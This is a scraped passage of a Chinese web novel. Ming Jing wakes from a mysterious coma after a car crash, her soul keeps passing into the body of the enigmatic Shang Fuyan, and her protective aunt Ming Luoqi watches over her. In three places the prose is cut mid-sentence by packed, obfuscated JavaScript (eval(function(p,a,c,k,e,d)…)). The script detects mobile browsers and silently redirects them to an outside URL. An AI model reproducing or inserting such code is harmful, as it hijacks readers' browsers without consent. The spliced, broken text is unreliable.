她说着,把自己颈脖上挂着的那一块玉珏取了下来,放在了尚在襁褓之中的孩子身上。 那边站着的人走到了病床边,嗓音平静无波:“如你所愿。” 那人伸出纤细素白的指尖落在了那玉珏上,一时间,竟也分辨不清,到底是那玉珏更为通透素白,还是那如玉质感的指尖了。 病房里也在那瞬间,荡起了一阵微风,那玉珏好似变得不一样了。 “谢谢。”明浅出声。 其实若是细看,她的脸色要比刚才更为虚弱和苍白了些许。 站在病床边的人,那张令明浅并不怎么能够看得清楚的脸上并无什么神色波动,但是却也注意到了明浅的变化。 “你的寿命,并无几年了。”嗓音冷静淡然没什么变化。 明浅看着怀中的孩子温柔笑着道:“还能够在陪她几年,我已经很满足了。” 带到那一缕微风停下时,病床前站着的人,指尖就要收回时,但是一双小手却是在那瞬间挥舞抓住了她的食指和小指。 那好看素白的手在那瞬间就停顿了下来,然后微微低头,视线落在了襁褓中那个出生并无两日的孩子身上。 和其他一出生就皱巴巴的孩子不同,这个孩子长得很漂亮,皮肤细嫩红润粉白的不行,完全不像是刚出生两三天的孩子。 抓住了那要离开的指尖后,还咯咯吐着泡泡笑着,明亮如墨的眸子就那样清澈的看着被她抓住了的人。 明浅看到这一幕,脸上温柔神色更加的明显了。 “她很喜欢您。” 病床前站着的人,指尖被那柔软的又格外小的手捏着,那种感觉,竟让她心底莫名的升起了些许的异样感来。 她没有直接把指尖抽离,而是任由那一双小手抓着,过了好一会儿,明浅听到。 “她叫什么名字。” 明浅微微的一愣,明显对于这句话是有些意外的。 但是等她抬起头来看向伸出手来站在病床边的人时,她又是极为明显的怔愣了一下。 因为此刻,她所见的,再也不是一张略显模糊不清的脸了。 迷雾散去,看到的是一张精致绝美却又清冷十足的脸。 这张脸,与她小时候记忆中的那张脸,好似并无什么变化。 可,已经二十几年过去了…… 但是随后明浅回神,带着笑意温柔道:“长情,她叫长情。” 站在病床前周身冷淡疏离的人,重复轻声的念出了这两个字:“长情……” 她一唤,小家伙就笑的好似更加的开心了。 明浅用指尖轻轻的戳了戳小家伙那明显的酒窝:“她还有一个名字,叫明镜,长情是她的小名。” 明镜长情么…… “很好听。” 平静的嗓音回着,同时,她看着笑的开心的小家伙,犹豫了一下,还是抽走了自己的手。 襁褓中的小家伙好似有些不乐意了,委屈的看着她,就连那明亮清透的眸子中都好似升起了一层雾水。 病床前站着的人,身影好似略微顿了一下,最后还是收回了视线转身离开了。 但她离开前,却是留下了一句话:“十五年后,可送她来鹤岭镇。” 在后来,这个病房里,就只剩下一缕微不可闻的冷香,还有一道哭的伤心的婴儿啼哭声,其中伴随着温柔女人的轻哄。 病房里的电视上却是在播放着自然天灾所造成的伤害新闻…… 等到病房的门在一次打开的时候,走进来了两道一大一小的身影,病房里那伤心的啼哭声也停了下来。 那个站在病床前动作带着几分小心翼翼握住了小家伙的双手的半大孩子,就是当年不过八岁的明洛栖。 看到小家伙不哭了,明洛栖那还显得稚嫩的脸上多了一些笑容。 “阿镜不哭了。” 小家伙抱着明洛栖的手指,咯咯笑着。 而明浅看到这一幕笑了一下,然后抬起头看着放下东西走过来的明瑜。 二十二年前的明瑜,看着还要年轻很多,至少,还不是一头银发,但周身那温和的气质却是十年如一日的没有什么变化。 明浅更多的是随了明瑜,母女两人各方面看着都是有着相似之处的。 但是现在的明瑜却是眼神中带着一些疼惜的看着面色没有多少血色的明浅。 她坐在病床边,手轻轻的落在了明浅的手臂上。 “她已经来过了吗。” 明浅点头嗯了一声:“来过了。” 明瑜好似还有其他的话说,但是却又欲言又止,转过头看着还在逗孩子的明洛栖,然后她寻了一个借口把明洛栖支开了病房。 …… 那时八岁的明洛栖离开病房后,就下楼去拿东西去了。 也是那一天,拿完东西准备上楼的明洛栖看到了一个人,一个,或许让她没办法忘记也极为在意的人。 拿完东西上楼后,她站在病房门外,抬头看去,却是看到了病房阳台上的一个角落中站了一个身影。 即便是对方的有着一半身影隐匿在了阴影之下,虽看不清对方的面容,但是明洛栖却是记住了对方那一双格外沉静的双眼。 她在看着病房里面的人,是在看明浅和明瑜吗? 不,明洛栖看的分明,她的视线,明显落在了那个已经睡着了的孩子身上。 那时八岁的明洛栖虽然有些不懂对方当时的那个眼神是什么意思。 但直觉却是让她格外的不喜欢对方。 不喜欢对方用那种她看不懂的眼神看……阿镜…… 就在她要推开病房的门时,那个站在阳台让明浅她们都没有任何察觉的人,却是缓缓收回了视线,然后转过了头,如墨沉静的眸子就那样平静的和当时八岁的明洛栖对视上了。 当时,一个人站在走廊病房外,一个站在病房外面的阳台上,隔着一个空间遥遥对望着。 一个视线充满了冷淡平静无波,一个稍显稚嫩却又带着明显敌意在里面。 那一个对视,就好似未来已经注定了些许什么。 后来,那个人悄无声息的走了,明洛栖也没有和其他人说过自己见到过对方。 但是明洛栖知道,那个让她一眼就心底充满了戒备和在意的人,就是明家祖辈口中那位神秘存在的‘大人’。 那是明洛栖第一次见到对方,至于后面那人有没有在偷偷的来看过明镜,明洛栖也不知道。 因为那次之后,她就在没有见过对方了。 但到至今,明洛栖还是格外的在意,在意当时对方那看向明镜的眼神。 也是后来,明洛栖理解到,当时那位看明镜的眼神…… —————— 站在窗前的明洛栖眼底神色晦涩难明,轻点在窗柩上的修长指尖,直接就勾住了一旁的酒杯。 月光下,透明酒杯之中的红色液体,如同新鲜的血液一般,然后被月光下那周身散发着危险气息和无尽魅惑如同吸血鬼一般被一饮而尽。 修长颈脖拉长,这样给人有些无尽危险的明洛栖,她宛若危险的吸血鬼本身。 在酒杯放下时,明洛栖的神色之中多了些许若有所思在其中。 她不得不承认,有些神秘未知的领域,是用科学解释不了的,也是她探寻不到的。 哪怕是现在,她仍旧是在意和戒备着那个二十二年前那只见过了一面不知道对方名字的人。 可想到明镜……明洛栖的眉心轻蹙了起来。 她是不想明镜在和那个人有所接触的,那个人给她的感觉格外的忌惮。 “鹤龄镇吗……”明洛栖低声的念出了这三个字。 那个之前把明镜送过去待了两年的地方,也是当初那个人说的地方。 就在明洛栖思绪无端猜忌和复杂时,房间门外面,却是响起了一道东西摔碎的声音,那是从明镜房间里响起的。 听见那声音,明洛栖瞬间回神,落在身侧的指尖好似轻颤了一下,她几乎是没有任何犹豫,转身就向着房间外面走去了。 “阿镜……” ——— 而在隔壁房间里。 时间退回十多分钟前。 这个之前还略微温馨的房间里,在最近变得有些冷清了起来。 房门半遮掩着,脉搏血氧仪在房间里滴滴的平稳响着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339075|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 月光从半遮掩的窗户倾洒了进来,在月色之下,可隐约看见床上那个面容带着些许病弱昏迷不醒的少女。 这个房间里也同样是安静异常,唯有仪器的声音在微弱的响着。 但却无人知道,那露在了被子外面的手,好似轻微的动了一下,但是却又很快在没有了动静。 可后面又没有过几分钟,那手却是明显的有了动静,就连那羽睫都轻颤了起来。 床上昏迷不醒的人,就这样毫无预兆的醒了过来。 …… 明镜带着茫然睁开自己那双好似有着千斤重的眼睛时。 看到有些昏暗的房间时,她第一反应是,她睡了很久吗?天都黑了。 她还以为自己还在商扶砚的身体里,茫然带着不太清醒的样子看着天花板。 等到脑子好似终于清醒了些后,明镜动了一下身体,发现好似整个人都有些软绵无力,起个身都有点费劲儿。 睡太久了,肌无力了?明镜想。 但是等她终于坐起身来把房间的灯打开后,等到眼睛适应了那亮光,看清楚了这个房间后,明镜是明显的愣了一下。 然后又明显带着一些不可置信的和难以抑制的惊喜低头看向了自己的双手。 明镜把指夹取了下来,双手摸上了自己的脸。 她没忍住直接哈了一声,怎么都无法掩饰心底的狂喜。 她这是睡一觉,就回到了自己的身体里面了吗! 明镜掀开被子,有些迫不及待的想要照一下镜子确认一下,她是不是真的回到自己的身体里面了。 她这没有在做梦吧! 但是因为肌无力的原因,明镜刚下床站起来,双腿就有些发软。 但是她也撑着身体的不适走到了梳妆台前,然后拿起了镜子。 镜子中所照映出来的那张脸,是她自己的脸! “回来了!真回来了!咳咳。” 嗓子有些干涸,说话有些嘶哑,但是却压制不住明镜那想要蹦几圈的心情。 天啊天啊,早知道睡一觉就可以回自己的身体里,她之前还硬撑着头痛那么久做什么啊! 要不是现在真的很缺水,明镜都想要狂笑了。 看着镜子中的自己,明镜反复的确认了自己不是在做梦后,也不是幻觉后,她是真的忍不住笑了起来。 但是嗓子真的太干了,沙哑的笑了两声后,她就笑不出来了。 放下镜子,明镜转身就先要去倒杯水,但是刚走到放水杯的那边,杯子里有水,她直接伸出手端了起来。 但是没有什么力气,刚握住水杯,水杯又从手里滑落了。 杯子打翻在托盘里,水也全部洒出来了,甚至是还迸溅弄湿了明镜的睡衣。 明镜倒是觉得没有什么,伸出手就要去整理一下,甚至是心情好的都要哼歌儿了。 不过她刚拿起被磕碎了一个缺口的杯子时,她就听到了一阵慌乱的脚步声,接着,房间门被直接推开了。 明镜弯着腰偏过头看向了房间门口。 在看到推开房门的人是谁后,明镜的脸上多了些茫然。 “小姨,你还……” 她的话还没有说完,明洛栖已经大步走进了房间,然后走过来一把就把还在状况之外的明镜抱进了自己的怀中。 明洛栖抱的很紧,她有种失而复得的庆幸。 明镜带着茫然神色怔愣在原地,然后任由明洛栖抱着她,后面还没有说完的话也都停了下来。 等到明镜回神后,她才愣愣的把双手放在了明洛栖的背上。 “让你担心了小姨。”明镜哑着声音闷闷的说着。 明镜是聪慧的,她自然是猜到了明洛栖这么大的反应是因为什么了。 这次,真的吓到她了吧。 听到明镜的声音真实的在耳边响起后,明洛栖这才确定,她的阿镜,真的醒了。 明洛栖努力克制着自己,不让自己太过失控了,但是她的手却还是落在了明镜的脑袋上,把人抱在怀里。 “你知不知道,这一次你吓坏小姨了。” 明镜指尖揪着明洛栖的衣服,闷声道:“对不起小姨,不会有下一次的,这一次是意外。” “阿镜没有对不起小姨,你没事就好,醒了就好。”只有明洛栖知道,她有多后怕,有多庆幸,庆幸她的阿镜,终于还是醒过来了。 明镜动了一夏脑袋,轻唔了一声,然后在明洛栖怀中闷闷的小声道。 “那小姨可以松一点吗,我要喘不过气了。” 原本心底情绪还格外庆幸复杂的明洛栖,听见明镜这话后,心底什么情绪,此刻统统都瞬间烟消云散了。 虽然对这人的一副还不明所以,不知道事情严重性的样子有些无奈,但是明洛栖还是把人松开了。 把人松开后,看到明镜那还带着病态苍白的样子,明洛栖落在少女脑袋上的手就越发轻柔了起来。 像对待珍宝一般,温柔的不行。 但是从来都是被明洛栖温柔对待的明镜,她是不懂得这一份温柔之中的其他含义的。 5. 偏执的前女友 楼下客厅,明镜抱着一个比她脸还大的碗,一脸满足的吃着明洛栖给她煮的面。 转过头就能够看到明洛栖则在外面院子里打着电话的身影。 从醒来到现在,明镜也知道了她车祸之后的一些事情了。 她昏迷了快要四天了,这几天都是靠输的营养液维持身体机能,所以一醒来,她只觉得肚子都饿的快要贴后腰了。 耐不住明镜的撒娇,后来明洛栖带着些许无奈纵容的去了厨房给她煮了一碗面。 …… 坐在餐桌椅子上,明镜抬起头看了一眼在外面打电话的明洛栖,然后用筷子戳了一下碗里的面条。 这几天的事情她也听明洛栖说了,从她出车祸后,她人没怎么受伤,就额头有着一点擦伤,但是却一直昏迷不醒。 不少医生都来看过,就是找不到她昏迷不醒的病因源头在哪里。 明镜嗦着面条在想,她能够醒来才怪了。 毕竟谁能够想到,她不是没有醒来过,只不过就是醒来的方式不对呢。 因为,她从别人的身体里面醒过来了…… 明镜的脑海中闪过了一张脸,是她‘附身’的那具身躯的脸,同时,那个名字也从她的脑海中滑了过去——商扶砚。 不知道为什么,明镜有点小遗憾的同时,她也在想,这一次因为车祸意外进入了别人的身体里面,以后呢?还会发生这样的事情吗? 这是明镜当前所担忧的事情。 毕竟这一次就已经吓坏家里的人了,要是以后在时不时的昏迷个几天或者是十天半个月什么的,那小姨她们还不得天天都在担惊受怕中度过啊。 而且问题的关键是,如果她又跑商扶砚的身体里面去了,这对她们两个人来讲,都会对生活造成很大的不方便吧。 不过明镜同时也在想,她总觉得这次车祸发生有点奇怪。 发生车祸时,她就已经失去意识了,不知道这车祸到底有多严重。 但是明洛栖讲,车祸很严重,车祸现场有着三四辆车子因为车祸而直接报废,这还不算其中连续追尾受损严重的车辆,其中事故里受伤的人也并不少,有重伤的,但没有死亡的,这算是一个好消息。 而让明镜觉得奇怪的地方是,当时她人是在车祸现场中心的…… 也就说,那三四辆车子因为车祸直接报废的其中一辆车子里,坐的就是她。 车祸现场,两个人重伤,其他人也伤的不轻,听说她坐车的那个司机伤的最重,现在都还没有转出重症病房。 这其中惨烈都不用去多想有多严重了,但是偏偏,听说她被救出来的时候,完好无损。 那么严重的车祸,愣是没有一点儿事。 嗯,也不对,额头挂了一点彩,然后就是昏迷了几天了。 除此之外,她就不像是个看着刚出了那么大一场事故的人。 —— “想什么呢,眉头皱的这么紧。” 明洛栖温柔的声音在耳边响起,同时带着一点温凉的指尖落在了明镜的眉心处,抚平明镜紧蹙的眉心。 明镜回神,转过头看着不知道什么时候打完电话进了屋子的明洛栖。 明洛栖看着她略微仰头看向自己的模样,指尖微顿了一下,眼帘落下了些许,遮挡了眼底些许暗色,随后又极为自然的收回了自己的指尖,然后在明镜身旁的椅子坐了下来。 “小姨你认识什么厉害的道士吗?”明镜想都没想,直接就把自己脑海中的想法给脱口而出了。 明洛栖疑惑的嗯了一声,看着她:“道士?” 明镜嗯嗯两声点头:“对,就是道士,可以降妖除魔抓鬼的那种。” 明洛栖:“……” 明洛栖没做声,但是伸出手落在了明镜的额头上。 “还是伤到了脑子吗?” 明镜:“……” 明镜的脸红了一下:“小姨!” 明洛栖收回手前还揉了一下她的脑袋:“阿镜这是看破红尘,准备去修道了吗。” 听见明洛栖的打趣,明镜扭捏了一下。 她总不能说,自己还真遇到用科学解决不了,只能够探访玄学才能够解决的事情吧。 灵魂跑别人身体里面这件事情,明镜不想和明洛栖说,怕她更加担心。 “不是小姨,你想什么呢!”明镜找了个借口道:“这不是出了这么严重的车祸,我一点事儿没有么,科学无法解释的事情,这不就想找个玄学道长问问么,而且我的玉珏它都有裂痕了。” 明镜握住了自己颈脖上戴着的那块玉珏。 这块玉珏在她很小的时候,她妈妈不止一次告诉过她,不能够随意的取下来。 而明洛栖听见这话,指尖略微的顿了一下,然后这才缓缓道。 “道士小姨到没有认识的,不过听说风清观挺灵的,阿镜若是想要寻一个心安,明日小姨可以带阿镜去那里转转。” 明镜瞬间就笑了起来:“谢谢小姨,不过小姨这么忙,我自己去吧。” 明洛栖看着她,脸上神色没有什么变化,但是气场好似隐约变得有些不一样了:“不行,还是说,阿镜又想让小姨担惊受怕?” 明镜眨巴着眼睛看着她,有些理亏,然后不吭声了。 而明洛栖伸出手捏了一下她的脸颊,嗓音温柔道:“这一天时间也耽搁不了什么,面坨了,吃点水果,这么些天没有进食,吃的太饱会肚子不舒服的。” 她说着,然后接过了明镜手里的筷子,端着面碗起身就向着厨房走去了。 明镜应了声,表示自己没有吃多。 …… 后来,明镜和明洛栖倒是说了不少的话。 后面时间太晚的时候,又看到明洛栖那带着疲惫的样子,明镜就直接拉着明洛栖上楼去睡觉了。 原本明镜是要回自己房间的,但是她的房间里消毒水的味道有点重,还有一些身体检查仪器在,有点像半个病房。 最后明镜扯住了明洛栖的衣袖,问她今晚可以和她一起睡吗。 明镜并未察觉到明洛栖略微有些僵硬的身体,但是后来明洛栖还是点头同意了,而明镜就欢喜的先回了自己的房间,拿着一套睡衣先去洗澡去了。 她倒是开心了,但是却没看到身影站在阴影之中的明洛栖,视线一直都落在了她的身上。 后来等到明镜洗完澡去明洛栖房间时,明洛栖却并不在房间里,而是去了书房。 明镜和她说了一声,然后就自己先回房间休息去了。 她好像是睡了很久,但可能是吃饱喝足的缘故,她的精神又有些困意了。 等明洛栖回到房间后,明镜已经睡着了。 站在窗前,看着熟睡的少女,明洛栖俯身为她拉了一下被子。 视线落在少女的脸颊上时,明洛栖的指尖想要去轻触一下,但是在伸到一半的时候,她的动作却又停顿了下来。 明洛栖的手收了回来,脸上和眼底神色明灭不定,站起身时,她把那一盏专门为自己留下的床头灯关了。 然后自身转身离开了房间,房门轻微响起了‘啪嗒’声。 熟睡中的明镜,对于这一切,却是全然不知的。 ———— 第二天。 明镜还是一个人去了风清观,是明洛栖的司机送她过去的。 因为明洛栖处理其他的事情去了,看起来好像还挺重要。 明镜醒来时,家里已经没有明洛栖的身影了,但是给她发了消息解释了一下。 明镜也没有问是什么事情,只是让明洛栖要注意休息。 而唐姨在看到明镜醒来后,开心的不行,还说中午要给明镜做些好吃的补补身体。 之后等到明镜从家里离开直接到了风清观的时候,她人刚进观里,甚至是连东南西北都还没有分清楚,一个穿着道袍的小道长就走到了她的面前。 然后,明镜一个人就被带走了。 ……… 在一个静室里,明镜坐在凳子上,双目看着前方,双手放在膝盖上,指尖一点一点的捏紧。 这静室里面还有一个人,对方一边摸着下巴,一边手指还在不停的掐算着,围着明镜转了一圈又一圈。 “怪哉怪哉……真是怪哉……” 明镜:“……” 明镜只觉得头都有点大了,紧捏的手指也松开了,她摁了一下自己的眉心。 “这位道长,这两个字你说了很多遍了。”明镜的语气略显委婉。 “啊,咳咳,不好意思啊不好意思,主要是我也是第一次遇到缘主你这种情况,有点稀奇了,莫见怪莫见怪。” 看着面前长相清秀,一本正经坐在自己对面的道长,明镜的嘴角隐约的抽了一下。 对方的年龄看着也就比她大上几岁,但是却已经是一观之长了,辈分也高,就是本事嘛……明镜存疑。 而恢复一本正经的风絮坐在明镜的对面,那看明镜的眼神像是在看什么珍稀动物一样。 明镜:“道长知晓我今日前来所谓何事?” 风絮正经脸:“我不知道啊,姑娘也别叫我道长了,叫我风絮就好。” 明镜:“……” 不知道她是因为什么事情来这里,刚才还一副激动的不行的样子? 风絮?风道长,疯道长…… 明镜视线落在她身上,带着两分打量,觉得这名字还挺适合她的。 “那风道长刚才是……” 风絮笑的腼腆:“因为姑娘是我第一个见到面相本该早夭,但是却还活得好好的人,这真是奇迹啊。” 明镜:“……” 若不是礼仪教养在,明镜也想要学古人一般,站起来,指着风絮的鼻子骂一句牛鼻子老道。 谁家好人家第一次见别人,就咒别人的! 就在明镜万分沉默的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看到那不知道被扔了几次的三枚铜钱,明镜就有种现在就想离开这里的冲动。 …… 风絮都不知道自己扔了几次铜钱后,看到那永远得出一个卦的卦象,她后来终于是放弃了,抬起头看着明镜。 明镜也端着茶杯默默的看着她,看到她不在扔铜钱了,明镜出声道:“结束了?” 风絮:“……” 风絮指着桌上的三枚铜钱:“结束了,但是,你的问题我恐怕是解决不了。” 明镜微微挑眉:“为何?” 风絮:“因为这是无卦,而且问卦多次,它一次未曾变过,你知道这意味着什么吗?” 明镜:“什么?” 风絮:“意味着这根本就不是我能够解决的!而且,我看不透你的命格,来时一片模糊,未来同样是一片迷雾,你遇到的事情,恐怕还需要你自己处理。” 明镜:“……” 如果她能够处理,她还会来这里吗? “风道长在说笑?” 风絮:“……这事儿真不是我能够管的,从这卦上我只能够看到,姑娘你艳福不浅,你看你身上那两条明显的因果线,纠缠的深哦,啧。” 说到后面,风絮看向明镜的眼神都微妙了些许。 明镜:“……” —— 后来明镜说什么了吗? 没有。 她直接就一个字儿没说就离开了。 她以后要是在来这里,她就把名字倒着写! 明镜带着一同上山的司机大步流星的就离开了。 倒是风絮道长站在高处看着两人的背影离开,或者说是在看着明镜的背影。 而她的身边还多了一个仙风道骨的老道长。 “师父,这位明家姑娘的事情,真不管了?” 老道长摇了一下头:“这不是我们能管的,她的身上因果是和那一族有所纠缠,那这就不是我们能够插手的事情了。” 风絮倒是带着些许吊儿郎当的样子笑了起来。 “这人体质倒是有趣。” 好像竟招惹些危险的人在身边。 当然,这个招惹到的‘人’,是不是‘人’可能还要留有待定和存疑在其中。 ———— 离开的明镜自然是不知道风清观中风絮师徒两人的对话。 刚下山坐上车,明洛栖的电话就打来了,问她如何,明镜挑拣了一些可以说的事情告诉了明洛栖。 后来两人说了两句后,电话也挂断了,因为有人喊明洛栖开会了。 等回家后,明镜也没有放松下来,相反,她联系了一个人,她想要对方帮她查一个人。 查商扶砚。 她想要商扶砚的一些基本信息和情况。 如果以后她的灵魂又跑人家身体里面去了,起码也有所准备了,不会像第一次一样,完全没有什么头绪。 所以,明镜是迫切的想要做好万全的准备,以防万一! 6. 偏执的前女友 过了三天后,明镜托人去查的事情也有了消息。 穿着一身休闲浅色衣服的明镜在院子里拿着一个小铲子在翻土种花。 她现在是在明家老宅里,明家老太太知道她醒来后,就让她回老宅养身体了。 而现在的明镜就蹲在院子里,一边弄着土,一边还在接听着电话。 听完了电话那边说的话后,明镜铲土的小铲子就停了下来,好看的秀眉也是略微的轻蹙了一下。 “好,我知道了,后续帮我继续留意一下就行,尾款我会打你账户上的。” 电话那边的人说了两句话后,电话就挂断了。 明镜拿着手机,翻开了对方发过来的那些资料,只有寥寥一两页。 这些资料都是明镜让人去调查商扶砚的资料,但是有关商扶砚的信息资料很少。 那边的人只收集到了些许和商扶砚有关的信息资料,只知道这人是近两年来商界突起的异军黑马,如今的商界新贵,身价也不斐。 但是这人却从未在大众视野镜头前露面过,也从未出席过任何的活动。 甚至是很多人都没有听说过这个名字,只知道她格外的低调和神秘,因为大多出席活动的人,都是一些公司代表,她一直都是在幕后。 就连商界中的人,都从来没有人见到过她的真面目,所以也没有一张照片流露出来。 —— 明镜看了一眼那两页少的可怜的信息资料,觉得自己这一次的钱有点白花了。 因为她觉得这些收集起来的信息资料,还没有她知道的多呢。 看这资料里面收集的那些信息,说什么那个神秘的商界新贵,猜测是一个年岁大的,可能长得也不怎么好看等等,这两页纸张里面大多都是所谓的猜测,偏偏,还没有一个是猜对了的。 明镜看了一眼,直接就把手机关了。 她想起商扶砚那张脸,还有她身份证上的信息。 商扶砚那算是长得很难看吗?她要是长得难看,那谁还长得好看? 而且年龄的话,人家今年也才二十四岁,这很老吗? 明镜有心吐槽,但是也找不到人去吐槽。 但是很快明镜又有些犯难了,收集不到商扶砚的资料情况,要是还发生之前那事儿,她就没办法应对自如了。 明镜觉得有点棘手,但同时她又是一个想得开的人,如果还有下一次的话,随机应变吧。 明镜一边想着一边微微的摇了一下头,收起手机,刚拿起铲子准备继续挖土的时候,老太太却是在屋子里面喊了她一声。 蹲着的明镜应了一声,放下铲子,站起身来就向着屋子里面走去了。 她把和商扶砚的事情放在了心底,打算后面在调查一下。 但是想法有些单纯的明镜,她恐怕是不会知道,她对于商扶砚的判断和猜想,其实也并非是准确的。 ——— 而此刻还在公司里面的明洛栖,站在了那一面落地窗前,站在高处俯瞰着下面的一切。 有些许阳光落在了她的身上,但没有被阳光照在身上的另一边,就落入了阴影之中,脸上神色也显得有些模糊不清了起来。 办公桌上的手机在亮着,正在通着电话,且声音还开着扩音。 而电话那边的人对于这一切并无半分察觉,电话声音还在响起。 “鹤龄镇上并没有调查到什么特殊的人,也调查过当时明小姐去那边所接触过的人,好像也挺普通并没有什么异常奇怪的地方。” “不过有一个叫商扶砚的人当时和明小姐走的挺近的,但是没多久两人的关系又疏远了。” 办公室里好似安静了一下,过了良久,就在电话那边的人以为明洛栖并没有在听的时候,明洛栖的声音却带着一些平静低沉的声音响了起来。 “商扶砚……把她的资料信息收集一份给我。” 电话那边的人呃了一声:“明总是觉得这个人有什么问题吗?但当时她也不过只是比明小姐大两岁,基本信息成长经历,在鹤龄镇都是可以调查到的,学校家庭这些都是正常的。” 明洛栖:“发一份资料过来我看看,让你们查的事情可以深度调查一下。” “好。” 后来电话挂断,放在办公桌上的手机震动了一下,明洛栖转身走回了办公桌前,在椅子上坐下后,这才拿起了手机。 打开手机看着那发过来资料,明洛栖并未去看其他,而是视线落在了那照片上。 看到里面照片,明洛栖的眸子微微的眯了一下。 不是说照片之中的人有多好看,相反,很平常,甚至是走在人群中都是不太起眼的那种。 这和明洛栖刚才的猜想一点儿都对不上了,照片中的人,也和她记忆深处的那张脸完全合不上。 后来明洛栖没有在看那照片,而是落在了那个名字上。 商扶砚…… 看到这个名字,明洛栖的脑海中好似想起了什么,不过还不等她去求证,一通电话就直接打了进来。 是明瑜打来的。 明洛栖直接接通了,但还不等她说什么的时候,老太太的声音就先响了起来。 “阿镜又晕倒了,你快些回来。” 后来老太太又说了些什么,明洛栖已经听不清楚了,她的脑子嗡嗡作响。 脸色直接变了,起身,甚至连外套都没有拿,然后就直接拿着手机跑出了办公室。 阿镜…… —— 等到明洛栖回到家里后,看到就是明镜又躺在床上昏迷不醒的样子,看着,像似睡着了一样。 但是明洛栖知道,不是的,明镜不是睡着了。 如果事情不严重的话,老太太就不会给她打电话来了。 “阿镜怎么又突然昏睡了,喊医生了吗。” 明洛栖坐在床边,看着床上的人,声音格外的沉。 老太太:“医生来过了,原本阿镜是在沙发上坐着和我说着话的,说着说着,她人就毫无任何预兆的昏睡过去了。” 老太太也是一脸的疲惫,明显是被明镜的突发意外所吓到了。 明洛栖的眉心直接紧皱了起来,眼底的心疼和担忧是格外的明显,但同时也有着一些晦涩暗沉在里面。 她没有在说话,直接就站起身来拿着手机向着房间外面走去了。 不过出去前,她还看着老太太说了一句:“阿镜不会有事的,我不会让她有事的。” 后来她离开房间后,就走到了外面好像打通了一个电话,至于联系的是谁,只有她自己知道。 ———— ———— 在明家氛围凝重低沉,而且还格外担忧突然昏睡不醒的人时。 而突然昏迷不醒的人,她此刻有些懵。 毫无预兆的昏迷,然后又毫无预兆的又跑别人的身体里面来了,谁能够比明镜更加的懵圈呢? 看着这个对她来讲有点眼熟但是陌生的书房,明镜低头看着摆放在自己面前处理了一半的文件还有开着的电脑。 安静的书房里直接就想起了一声‘哈’。 人在极度没有话语说之下,是真的会笑。 明镜自己都不知道自己该用什么形容来描述自己的心情了。 突然的失去意识,又贸然的从另一个人的身体里醒来,这种情况,实在是令人措手不及。 转过头,看向旁边黑屏的平板,看到屏幕里倒映出来的那张脸,明镜抬手摸了上去。 这一刻她是有些庆幸和松口气的。 庆幸的是,两次灵魂离体都是进入了同一个人的身体之中,而不是没有丝毫规律的随意进入其他人的身躯中。 这样起码避免了很多不必要的麻烦,不至于在原本的麻烦上雪上加霜。 …… 好歹有了第一次经验,明镜左右看了一下屏幕中的那张脸。 “长这么好看,怕不是老天奶的私生女吧。”明镜嘀咕了一声。 等到欣赏完了后,她的视线这才移开,看着书桌上的那些文件,还有开着的电脑,明镜突然又觉得,这脸就算是长得在好看,好像也不能够让她心甘情愿的喜欢上工作! 明镜看着那些文件两眼发直的同时,也是深深的叹了口气。 抬手就揉了一下自己的眉心,想起自己突然就那么的晕过去了,明洛栖她们应该会很担心的。 不过想起自己写下放在床头柜里面的记录,明镜又放心了一些。 前些天回到自己身体里面醒过来后,她怕又再一次出现这种情况,所以明镜每天都会做一次记录。 这样就避免了像这一次一样出现突发状况,等明洛栖她们看到,也不用太过担心了。 —— 明镜收敛了一下自己的思绪后,她的就开始收拾起了桌子上的一些纸张。 就算发生在自己身上的事情再过离奇和玄幻,生活还是要接着过下去的。 纸张在她的手里哗哗的作响,但是在整理到一半的时候,明镜的手却是顿了一下,然后从里面把其中一张纸抽了出来。 在看清楚了纸张上面的内容时,明镜的脸上有着一些意外。 因为这张纸页上面的内容并不是废纸,也不是什么文件,而是手写的字在上面。 而让明镜惊讶和意外的是,那并没有多少个字的最后落名处,落下的是商扶砚三个字。 其中内容也并没有写几个字,几个数字,还有一句话。 [521418,房子里的一切,都可以随意] 那字体写的很好看,瘦金体,却又带着她本人独有的凌厉冷感在里面。 看字观人,从这几个字里面,就能够看出来写字之人的一些性格和习惯。 显然,这几个字都是商扶砚写下来的。 并且明显是专门写给明镜的。 …… 明镜看着那一行字,确实是呆了一下。 所以,商扶砚这是已经察觉知道了自己身体里面跑进来了一个‘孤魂野鬼’了? 但她就没有觉得害怕?觉得恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339077|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌? 她就这么平静冷淡的还写下了这样一行字留给她? 对方这有点不按常理出牌的举动行为,倒是让明镜有些措不及防了。 而且除此之外,对方甚至是都没有多问一句,多说一个字。 看字迹,这行字也明显不是今天写下来的。 明镜突然想起了什么,她起身,直接就向着书房外面走去了。 站在走廊上,她看着走廊的尽头,抬手就拍了一下自己的额头。 然后又下了楼,在楼下客厅和屋子外面逛了一圈后,她又回到了客厅中的沙发上坐着。 看着手里捏着的那张纸,明镜有点自己给自己无语蠢笑了。 “真笨。” 